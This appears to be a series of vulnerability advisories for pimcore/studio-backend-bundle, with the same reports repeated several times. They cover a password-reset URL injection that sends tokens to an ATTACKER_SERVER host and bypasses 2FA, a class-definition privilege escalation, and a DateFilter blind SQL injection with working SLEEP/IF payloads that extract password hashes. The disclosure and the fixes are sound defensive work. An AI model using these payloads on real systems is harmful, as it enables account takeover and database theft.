Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
• MySQL general query log confirms injected SQL reaches the database
• The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
• Package: pimcore/studio-backend-bundle

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

• Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
• Package: pimcore/studio-backend-bundle
• Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

• LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
• ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

• Admin password hashes (users.password) for offline cracking
• Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
• Session data for session hijacking
• All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

• POST /pimcore-studio/api/website-settings
• POST /pimcore-studio/api/notifications
• POST /pimcore-studio/api/recycle-bin
• POST /pimcore-studio/api/redirects
• POST /pimcore-studio/api/translations/{domain}
• POST /pimcore-studio/api/quantity-value/units
• POST /pimcore-studio/api/properties
• POST /pimcore-studio/api/classification-store/{storeId}/keys
• POST /pimcore-studio/api/classification-store/{storeId}/groups
• POST /pimcore-studio/api/classification-store/{storeId}/collections
• GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
• MySQL general query log confirms injected SQL reaches the database
• The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
• Package: pimcore/studio-backend-bundle

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

• Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
• Package: pimcore/studio-backend-bundle
• Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

• LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
• ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

• Admin password hashes (users.password) for offline cracking
• Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
• Session data for session hijacking
• All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

• POST /pimcore-studio/api/website-settings
• POST /pimcore-studio/api/notifications
• POST /pimcore-studio/api/recycle-bin
• POST /pimcore-studio/api/redirects
• POST /pimcore-studio/api/translations/{domain}
• POST /pimcore-studio/api/quantity-value/units
• POST /pimcore-studio/api/properties
• POST /pimcore-studio/api/classification-store/{storeId}/keys
• POST /pimcore-studio/api/classification-store/{storeId}/groups
• POST /pimcore-studio/api/classification-store/{storeId}/collections
• GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
